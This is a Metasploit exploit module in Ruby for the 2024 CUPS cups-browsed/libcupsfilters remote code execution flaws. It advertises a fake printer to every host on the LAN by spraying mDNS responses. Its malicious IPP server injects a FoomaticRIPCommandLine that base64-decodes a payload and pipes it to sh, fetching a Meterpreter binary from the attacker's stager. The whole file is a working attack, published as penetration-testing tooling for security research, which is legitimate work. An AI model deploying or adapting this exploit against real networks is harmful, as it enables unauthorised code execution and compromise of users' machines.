606 lines
22 KiB
Ruby
606 lines
22 KiB
Ruby
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Exploit::Remote::DNS::Common
|
|
include Exploit::Remote::SocketServer
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
# Accessor for IPP HTTP service
|
|
attr_accessor :service2
|
|
|
|
MULTICAST_ADDR = '224.0.0.251'
|
|
|
|
# Define IPP constants
|
|
module TagEnum
|
|
UNSUPPORTED_VALUE = 0x10
|
|
|
|
UNKNOWN_VALUE = 0x12
|
|
NO_VALUE = 0x13
|
|
|
|
# Integer types
|
|
INTEGER = 0x21
|
|
BOOLEAN = 0x22
|
|
ENUM = 0x23
|
|
|
|
# String types
|
|
OCTET_STR = 0x30
|
|
DATETIME_STR = 0x31
|
|
RESOLUTION = 0x32
|
|
RANGE_OF_INTEGER = 0x33
|
|
TEXT_WITH_LANGUAGE = 0x35
|
|
NAME_WITH_LANGUAGE = 0x36
|
|
|
|
TEXT_WITHOUT_LANGUAGE = 0x41
|
|
NAME_WITHOUT_LANGUAGE = 0x42
|
|
KEYWORD = 0x44
|
|
URI = 0x45
|
|
URI_SCHEME = 0x46
|
|
CHARSET = 0x47
|
|
NATURAL_LANGUAGE = 0x48
|
|
MIME_MEDIA_TYPE = 0x49
|
|
end
|
|
|
|
# Define IPP printer operations
|
|
module OperationEnum
|
|
# https://tools.ietf.org/html/rfc2911#section-4.4.15
|
|
PRINT_JOB = 0x0002
|
|
VALIDATE_JOB = 0x0004
|
|
CANCEL_JOB = 0x0008
|
|
GET_JOB_ATTRIBUTES = 0x0009
|
|
GET_JOBS = 0x000a
|
|
GET_PRINTER_ATTRIBUTES = 0x000b
|
|
|
|
# 0x4000 - 0xFFFF is for extensions
|
|
# CUPS extensions listed here:
|
|
# https://web.archive.org/web/20061024184939/http://uw714doc.sco.com/en/cups/ipp.html
|
|
CUPS_GET_DEFAULT = 0x4001
|
|
CUPS_LIST_ALL_PRINTERS = 0x4002
|
|
end
|
|
|
|
module JobStateEnum
|
|
# https://tools.ietf.org/html/rfc2911#section-4.3.7
|
|
PENDING = 3 # AKA "IDLE"
|
|
PENDING_HELD = 4
|
|
PROCESSING = 5
|
|
PROCESSING_STOPPED = 6
|
|
CANCELED = 7
|
|
ABORTED = 8
|
|
COMPLETED = 9
|
|
end
|
|
|
|
# Define IPP section constants
|
|
module SectionEnum
|
|
SECTIONS = 0x00
|
|
SECTIONS_MASK = 0xf0
|
|
OPERATION = 0x01
|
|
JOB = 0x02
|
|
ENDTAG = 0x03 # Changed from END
|
|
PRINTER = 0x04
|
|
UNSUPPORTED = 0x05
|
|
end
|
|
|
|
class MulticastComm < Rex::Socket::Comm::Local
|
|
# hax by spencer to set the socket options for handling multicast using the native APIs (as opposed to Rex::Socket)
|
|
# without this in place, the module won't work on a system with multiple network interfaces
|
|
def self.create_by_type(param, type, proto = 0)
|
|
socket = super
|
|
socket.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
|
socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_MULTICAST_TTL, 255)
|
|
|
|
membership = IPAddr.new(MULTICAST_ADDR).hton + IPAddr.new('0.0.0.0').hton
|
|
socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, membership)
|
|
socket
|
|
end
|
|
|
|
end
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'CUPS IPP Attributes LAN Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits vulnerabilities in OpenPrinting CUPS, which is running by
|
|
default on most Linux distributions. The vulnerabilities allow an attacker on
|
|
the LAN to advertise a malicious printer that triggers remote code execution
|
|
when a victim sends a print job to the malicious printer. Successful exploitation
|
|
requires user interaction, but no CUPS services need to be reachable via accessible
|
|
ports. Code execution occurs in the context of the lp user. Affected versions
|
|
are cups-browsed <= 2.0.1, libcupsfilters <= 2.1b1, libppd <= 2.1b1, and
|
|
cups-filters <= 2.0.1.
|
|
},
|
|
'Author' => [
|
|
# Original researcher
|
|
'Simone Margaritelli',
|
|
# Public exploit
|
|
'Rick de Jager',
|
|
# IPP server implementation based on Python's ipp-server
|
|
'David Batley',
|
|
# mDNS functionality
|
|
'Spencer McIntyre',
|
|
'RageLtMan <rageltman[at]sempervictus>',
|
|
# Metasploit module
|
|
'Ryan Emmons'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
# The relevant CUPS CVE identifiers
|
|
['CVE', '2024-47076'],
|
|
['CVE', '2024-47175'],
|
|
['CVE', '2024-47177'],
|
|
['CVE', '2024-47176'],
|
|
# The initial researcher publication
|
|
['URL', 'https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/'],
|
|
# The public exploit this module was inspired by
|
|
['URL', 'https://github.com/RickdeJager/cupshax'],
|
|
# The cups-browsed GitHub security advisory
|
|
['URL', 'https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8'],
|
|
# The libcupsfilters GitHub security advisory
|
|
['URL', 'https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5'],
|
|
# The libppd GitHub security advisory
|
|
['URL', 'https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6'],
|
|
# The cups-filters GitHub security advisory
|
|
['URL', 'https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47'],
|
|
# The IPP server implementation this module is based on
|
|
['URL', 'https://github.com/h2g2bob/ipp-server/']
|
|
],
|
|
# Executes as 'lp' on most Linux distributions
|
|
'Privileged' => false,
|
|
'Targets' => [['Default', {}]],
|
|
'Platform' => %w[linux unix],
|
|
'Arch' => [ARCH_CMD],
|
|
'DefaultOptions' => {
|
|
'FETCH_COMMAND' => 'WGET',
|
|
'FETCH_WRITABLE_DIR' => '/var/tmp'
|
|
},
|
|
'Stance' => Msf::Exploit::Stance::Passive,
|
|
'DefaultAction' => 'Service',
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2024-09-26',
|
|
'Notes' => {
|
|
# There's a small chance the fake printer may flag as "broken" after one execution
|
|
# If this happens, other victims on the LAN will still be susceptible to code execution
|
|
# However, this *shouldn't* happen :)
|
|
'Stability' => [CRASH_SAFE],
|
|
# Requires a user to send a print job to the malicious printer to trigger RCE
|
|
'Reliability' => [EVENT_DEPENDENT],
|
|
'SideEffects' => [
|
|
# /var/log/cups/error_log will likely contain the payload, IPP server details, and printer name
|
|
# /var/log/cups/access_log will contain the IPP server details and printer name
|
|
IOC_IN_LOGS,
|
|
# The /tmp directory will likely contain a file called "foomatic-" + five random characters
|
|
# This file is a PDF owned by 'lp', and it's the content that the victim user tried to print
|
|
ARTIFACTS_ON_DISK
|
|
]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF'], regex: /^[a-zA-Z0-9_ ]+$/),
|
|
OptAddress.new('SRVHOST', [true, 'The local host to listen on (cannot be 0.0.0.0)']),
|
|
OptPort.new('SRVPORT', [true, 'The local port for the IPP service', 7575])
|
|
]
|
|
)
|
|
end
|
|
|
|
def validate
|
|
super
|
|
|
|
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
|
|
raise Msf::OptionValidateError.new({ 'SRVHOST' => 'The SRVHOST option must be set to a routable IP address.' })
|
|
end
|
|
|
|
# Rex::Socket does not support forwarding UDP multicast sockets right now so raise an exception if that's configured
|
|
unless _determine_server_comm(datastore['SRVHOST']) == Rex::Socket::Comm::Local
|
|
raise Msf::OptionValidateError.new({ 'SRVHOST' => 'SRVHOST can not be forwarded via a session.' })
|
|
end
|
|
end
|
|
|
|
#
|
|
# Wrapper for service execution and cleanup
|
|
#
|
|
def exploit
|
|
@printer_uuid = SecureRandom.uuid
|
|
start_mdns_service
|
|
start_ipp_service
|
|
print_status("Services started. Printer '#{datastore['PrinterName']}' is being advertised")
|
|
service.wait
|
|
rescue Rex::BindFailed => e
|
|
print_error "Failed to bind to port: #{e.message}"
|
|
end
|
|
|
|
# mDNS code below
|
|
def start_mdns_service
|
|
self.service = Rex::ServiceManager.start(
|
|
Rex::Proto::MDNS::Server,
|
|
'0.0.0.0',
|
|
5353,
|
|
false,
|
|
nil,
|
|
MulticastComm,
|
|
{ 'Msf' => framework, 'MsfExploit' => self }
|
|
)
|
|
|
|
service.dispatch_request_proc = proc do |cli, data|
|
|
on_dispatch_mdns_request(cli, data)
|
|
end
|
|
service.send_response_proc = proc do |cli, data|
|
|
on_send_mdns_response(cli, data)
|
|
end
|
|
rescue ::Errno::EACCES => e
|
|
raise Rex::BindFailed, e.message
|
|
end
|
|
|
|
def create_ipp_response(version_major, version_minor, request_id)
|
|
# Printer attributes
|
|
attributes = {}
|
|
|
|
# Creating an MVP ("Minimum Viable Printer")
|
|
|
|
# charset
|
|
attributes[[SectionEnum::PRINTER, 'attributes-configured', TagEnum::CHARSET]] = ['utf-8']
|
|
|
|
# charset
|
|
attributes[[SectionEnum::PRINTER, 'attributes-supported', TagEnum::CHARSET]] = ['utf-8']
|
|
|
|
# keyword
|
|
attributes[[SectionEnum::PRINTER, 'compression-supported', TagEnum::KEYWORD]] = ['none']
|
|
|
|
# mimeMediaType
|
|
attributes[[SectionEnum::PRINTER, 'document-format-default', TagEnum::MIME_MEDIA_TYPE]] = ['application/pdf']
|
|
|
|
# mimeMediaType
|
|
attributes[[SectionEnum::PRINTER, 'document-format-supported', TagEnum::MIME_MEDIA_TYPE]] = ['application/pdf']
|
|
|
|
# naturalLanguage
|
|
attributes[[SectionEnum::PRINTER, 'generated-natural-language-supported', TagEnum::NATURAL_LANGUAGE]] = ['en']
|
|
|
|
# keyword
|
|
attributes[[SectionEnum::PRINTER, 'ipp-versions-supported', TagEnum::KEYWORD]] = ['1.1']
|
|
|
|
# keyword
|
|
attributes[[SectionEnum::PRINTER, 'media-default', TagEnum::KEYWORD]] = ['iso_a4_210x297mm']
|
|
|
|
# keyword
|
|
attributes[[SectionEnum::PRINTER, 'media-supported', TagEnum::KEYWORD]] = ['iso_a4_210x297mm']
|
|
|
|
# keyword
|
|
attributes[[SectionEnum::PRINTER, 'media-type', TagEnum::KEYWORD]] = ['stationery']
|
|
|
|
enc_payload = Rex::Text.encode_base64(payload.encoded)
|
|
|
|
# 1setOf keyword
|
|
attributes[[SectionEnum::PRINTER, 'media-type-supported', TagEnum::KEYWORD]] = [
|
|
'stationery',
|
|
# Here's our base64-encoded fetch payload, which will grab a Meterpreter binary from our stager HTTP server
|
|
": HAX\n*FoomaticRIPCommandLine: echo -n #{enc_payload}|base64 -d|sh;#\n*cupsFilter2: \"application/vnd.cups-pdf application/pdf 0 foomatic-rip\"\n*%"
|
|
]
|
|
|
|
# naturalLanguage
|
|
attributes[[SectionEnum::PRINTER, 'natural-language-configured', TagEnum::NATURAL_LANGUAGE]] = ['en']
|
|
|
|
# 1setOf enum
|
|
attributes[[SectionEnum::PRINTER, 'document-format-supported', TagEnum::ENUM]] = [
|
|
OperationEnum::PRINT_JOB,
|
|
OperationEnum::VALIDATE_JOB,
|
|
OperationEnum::CANCEL_JOB,
|
|
OperationEnum::GET_JOB_ATTRIBUTES,
|
|
OperationEnum::GET_PRINTER_ATTRIBUTES
|
|
]
|
|
|
|
# keyword
|
|
attributes[[SectionEnum::PRINTER, 'pdl-override-supported', TagEnum::KEYWORD]] = ['not-attempted']
|
|
|
|
# textWithoutLanguage
|
|
attributes[[SectionEnum::PRINTER, 'printer-info', TagEnum::TEXT_WITHOUT_LANGUAGE]] = ['Printer']
|
|
|
|
# textWithoutLanguage
|
|
attributes[[SectionEnum::PRINTER, 'printer-make-and-model', TagEnum::TEXT_WITHOUT_LANGUAGE]] = ['Printer 1.00']
|
|
|
|
# nameWithoutLanguage
|
|
attributes[[SectionEnum::PRINTER, 'printer-name', TagEnum::NAME_WITHOUT_LANGUAGE]] = ['Printer']
|
|
|
|
# enum
|
|
attributes[[SectionEnum::PRINTER, 'printer-state', TagEnum::ENUM]] = [JobStateEnum::PENDING] # AKA IDLE
|
|
|
|
# keyword
|
|
attributes[[SectionEnum::PRINTER, 'printer-state-reasons', TagEnum::KEYWORD]] = ['none']
|
|
|
|
# integer
|
|
attributes[[SectionEnum::PRINTER, 'pdl-override-supported', TagEnum::INTEGER]] = [Time.now.to_i]
|
|
|
|
# uri
|
|
attributes[[SectionEnum::PRINTER, 'printer-uri-supported', TagEnum::URI]] = ['ipp://localhost:631/printer']
|
|
|
|
# keyword
|
|
attributes[[SectionEnum::PRINTER, 'uri-authentication-supported', TagEnum::KEYWORD]] = ['none']
|
|
|
|
# keyword
|
|
attributes[[SectionEnum::PRINTER, 'uri-security-supported', TagEnum::KEYWORD]] = ['none']
|
|
|
|
# Create response, imitating ipp-server's 'to_file' function
|
|
|
|
# Pack the version
|
|
response = [version_major, version_minor].pack('C*')
|
|
|
|
# Pack the 2-byte status code
|
|
response << [0x0000].pack('n')
|
|
|
|
# Pack the 4-byte request ID
|
|
response << [request_id].pack('N')
|
|
|
|
# Group the above defined attributes by section (we use the PRINTER section for the payload)
|
|
attributes.group_by { |k, _v| k[0] }.each do |section, attrs_in_section|
|
|
response << [section].pack('C')
|
|
|
|
attrs_in_section.each do |key, values|
|
|
_section, name, tag = key
|
|
values.each_with_index do |value, i|
|
|
response << [tag].pack('C')
|
|
if i == 0
|
|
response << [name.length].pack('n')
|
|
response << name
|
|
else
|
|
response << [0].pack('n')
|
|
end
|
|
|
|
# Make sure non-string values work by packing as four bytes (should work for all ints)
|
|
if value.is_a?(Integer)
|
|
response << [4].pack('n')
|
|
response << [value].pack('N')
|
|
else
|
|
# Packing strings
|
|
response << [value.length].pack('n')
|
|
response << value
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
# Close out attributes with an ENDTAG
|
|
response << [SectionEnum::ENDTAG].pack('C')
|
|
|
|
response
|
|
end
|
|
|
|
#
|
|
# IPP servers communicate using a binary protocol via HTTP
|
|
#
|
|
def start_ipp_service
|
|
# Start the IPP web service
|
|
self.service2 = Rex::ServiceManager.start(
|
|
Rex::Proto::Http::Server,
|
|
srvport,
|
|
srvhost,
|
|
false,
|
|
{ 'Msf' => framework, 'MsfExploit' => self },
|
|
Rex::Socket::Comm::Local
|
|
)
|
|
|
|
# Register a route for queries to the printer
|
|
service2.add_resource('/ipp/print',
|
|
'Proc' => proc do |cli, req|
|
|
case req.method
|
|
# Some printers perform an initial GET request before the exploitable POST request
|
|
# We serve up agreeable placeholder data for that initial request
|
|
when 'GET'
|
|
# Send HTTP response data
|
|
ppd_content = ppd_out
|
|
send_response(cli, ppd_content,
|
|
'Content-Type' => 'application/postscript')
|
|
|
|
# When the victim system interacts with our printer, a POST request will be received
|
|
when 'POST'
|
|
# When VERBOSE is true, all request bytes will be printed
|
|
vprint_status("Received IPP request: #{req.body.bytes.map do |b|
|
|
format('%02x', b)
|
|
end.join(' ')}")
|
|
data = req.body.bytes
|
|
return if data.length < 8
|
|
|
|
# Extract version, operation, and request ID from the request to print in VERBOSE mode
|
|
version_major = data[0]
|
|
version_minor = data[1]
|
|
operation_id = (data[2] << 8) | data[3]
|
|
request_id = (data[4] << 24) | (data[5] << 16) | (data[6] << 8) | data[7]
|
|
|
|
vprint_status("IPP Version: #{version_major}.#{version_minor}, Operation: 0x#{operation_id.to_s(16)}, Request ID: #{request_id}")
|
|
|
|
# Respond to the IPP request to confirm the printer is a valid target and inject the malicious payload
|
|
response = create_ipp_response(version_major, version_minor, request_id)
|
|
|
|
send_response(cli, response,
|
|
'Content-Type' => 'application/ipp',
|
|
'Content-Length' => response.length.to_s)
|
|
end
|
|
rescue StandardError => e
|
|
vprint_error('An error occurred while processing an IPP request')
|
|
vprint_error("IPP Error is #{e.class} - #{e.message}")
|
|
vprint_error(e.backtrace.join("\n").to_s)
|
|
raise e
|
|
end,
|
|
'Path' => '/ipp/print')
|
|
|
|
print_status("IPP service started on #{Rex::Socket.to_authority(srvhost, srvport)}")
|
|
rescue Rex::BindFailed => e
|
|
vprint_error("Failed to bind IPP web service to #{Rex::Socket.to_authority(srvhost, srvport)}")
|
|
raise e
|
|
end
|
|
|
|
#
|
|
# Printer info for victim systems that require an initial GET request.
|
|
#
|
|
def ppd_out
|
|
<<~PPD
|
|
*PPD-Adobe: "4.3"
|
|
*FormatVersion: "4.3"
|
|
*FileVersion: "1.0"
|
|
*LanguageVersion: English
|
|
*LanguageEncoding: ISOLatin1
|
|
*PCFileName: "#{datastore['PrinterName']}.PPD"
|
|
*Manufacturer: "#{datastore['PrinterName']}"
|
|
*Product: "(#{datastore['PrinterName']})"
|
|
*ModelName: "#{datastore['PrinterName']}"
|
|
*ShortNickName: "#{datastore['PrinterName']}"
|
|
*NickName: "#{datastore['PrinterName']}"
|
|
*PSVersion: "(3010.000) 0"
|
|
*LanguageLevel: "3"
|
|
*ColorDevice: True
|
|
*DefaultColorSpace: RGB
|
|
*FileSystem: False
|
|
*Throughput: "1"
|
|
*LandscapeOrientation: Plus90
|
|
*TTRasterizer: Type42
|
|
*cupsVersion: 1.4
|
|
*cupsModelNumber: 1
|
|
*cupsManualCopies: True
|
|
*cupsFilter: "application/vnd.cups-postscript 0 -"
|
|
*cupsFilter: "application/vnd.cups-pdf 0 -"
|
|
*OpenUI *PageSize/Media Size: PickOne
|
|
*DefaultPageSize: Letter
|
|
*PageSize Letter: "<</PageSize[612 792]/ImagingBBox null>>setpagedevice"
|
|
*CloseUI: *PageSize
|
|
*DefaultImageableArea: Letter
|
|
*ImageableArea Letter: "0 0 612 792"
|
|
*DefaultPaperDimension: Letter
|
|
*PaperDimension Letter: "612 792"
|
|
PPD
|
|
end
|
|
|
|
#
|
|
# Creates Proc to handle incoming requests
|
|
#
|
|
def on_dispatch_mdns_request(cli, data)
|
|
# Handle empty mDNS data
|
|
return if data.strip.empty?
|
|
|
|
# Encode the incoming packet as a Dnsruby message
|
|
req = Packet.encode_drb(data)
|
|
|
|
# Ignore responses
|
|
return if req.header.qr
|
|
|
|
# Print the incoming request in VERBOSE mode (will produce a lot of output)
|
|
peer = Rex::Socket.to_authority(cli.peerhost, cli.peerport)
|
|
asked = req.question.map(&:qname).map(&:to_s).join(', ')
|
|
vprint_status("Received request for #{asked} from #{peer}")
|
|
|
|
# Assign printer name variables for mDNS responses
|
|
printer_name = datastore['PrinterName']
|
|
printer_name_no_space = printer_name.gsub(/ /, '')
|
|
ipp_printer_name = "#{printer_name_no_space}._ipp._tcp.local"
|
|
|
|
# A draft approach was to advertise our malicious printer by selectively responding only to _ipp and _printer queries
|
|
# However, that requires the victim to search for new printers, which doesn't happen on most systems during a print dialog (it requires Settings->Printers->"Add Printer" on Ubuntu)
|
|
# Also, different distributions seem to have different flows for that, which made the approach unreliable
|
|
# So, instead of that, we just spray responses to every single mDNS query within the multicast domain to automatically populate the victim's printer list with our malicious printer
|
|
return unless req.question.first
|
|
|
|
# PTR record
|
|
req.add_answer(Dnsruby::RR.create(
|
|
name: '_ipp._tcp.local.',
|
|
type: 'PTR',
|
|
# Keeping TTL low because ghost records from previous module runs will hang the Linux printer selection window for ~30 seconds, impeding exploitation
|
|
# Since we're spraying advertisements in response to everything, low TTL shouldn't be an issue
|
|
ttl: 30,
|
|
domainname: "#{ipp_printer_name}."
|
|
))
|
|
# A record for our printer
|
|
# All of these answers seem to need to be additional record answers, not just answers
|
|
req.add_additional(Dnsruby::RR.create(
|
|
name: "#{printer_name_no_space}.local.",
|
|
type: 'A',
|
|
ttl: 30,
|
|
# The IP address of our malicious HTTP IPP service
|
|
address: datastore['SRVHOST']
|
|
))
|
|
|
|
# SRV record
|
|
req.add_additional(Dnsruby::RR.create(
|
|
name: "#{ipp_printer_name}.",
|
|
type: 'SRV',
|
|
ttl: 30,
|
|
priority: 0,
|
|
weight: 0,
|
|
# The port of our malicious HTTP IPP service
|
|
port: datastore['SRVPORT'],
|
|
target: "#{printer_name_no_space}.local."
|
|
))
|
|
|
|
# TXT record
|
|
req.add_additional(Dnsruby::RR.create(
|
|
name: "#{ipp_printer_name}.",
|
|
type: 'TXT',
|
|
ttl: 30
|
|
).tap do |rr|
|
|
rr.strings = [
|
|
'txtvers=1',
|
|
'qtotal=1',
|
|
'rp=ipp/print',
|
|
"ty=#{printer_name}",
|
|
'pdl=application/postscript,application/pdf',
|
|
# The "adminurl" value may or may not be queried, depending on the victim type
|
|
# Points to our malicious HTTP IPP service
|
|
"adminurl=http://#{Rex::Socket.to_authority(srvhost, srvport)}",
|
|
'priority=0',
|
|
'color=T',
|
|
'duplex=T',
|
|
# Unique UUID to avoid printer collision from multiple runs with the same configuration
|
|
"UUID=#{@printer_uuid}"
|
|
]
|
|
end)
|
|
|
|
# NSEC record, seems to be required, should be additional answer type
|
|
req.add_additional(Dnsruby::RR.create(
|
|
name: "#{ipp_printer_name}.",
|
|
type: 'NSEC',
|
|
ttl: 30,
|
|
next_domain: "#{ipp_printer_name}.",
|
|
types: 'AAAA'
|
|
))
|
|
|
|
# Indicate our mDNS message is a query response
|
|
req.header.qr = 1
|
|
# In response messages for Multicast domains, the Authoritative Answer bit MUST be set to one
|
|
# https://datatracker.ietf.org/doc/html/rfc6762
|
|
req.header.aa = 1
|
|
|
|
# Clear questions and update counts for our response
|
|
req.question.clear
|
|
req.update_counts
|
|
|
|
# Encode and send response
|
|
response_data = Packet.generate_response(req).encode
|
|
|
|
service.send_response(cli, response_data)
|
|
end
|
|
|
|
#
|
|
# Creates Proc to handle outbound responses
|
|
#
|
|
def on_send_mdns_response(cli, data)
|
|
# Log to console in VERBOSE mode, then write response
|
|
vprint_status("Sending response to #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}")
|
|
cli.write(data)
|
|
end
|
|
|
|
def cleanup
|
|
super
|
|
|
|
if service2
|
|
# Remove the IPP resource before stopping the HTTP service
|
|
service2.remove_resource('/ipp/print')
|
|
service2.stop
|
|
self.service2 = nil
|
|
end
|
|
|
|
return unless service
|
|
|
|
# Stop the mDNS service
|
|
service.stop
|
|
self.service = nil
|
|
end
|
|
end
|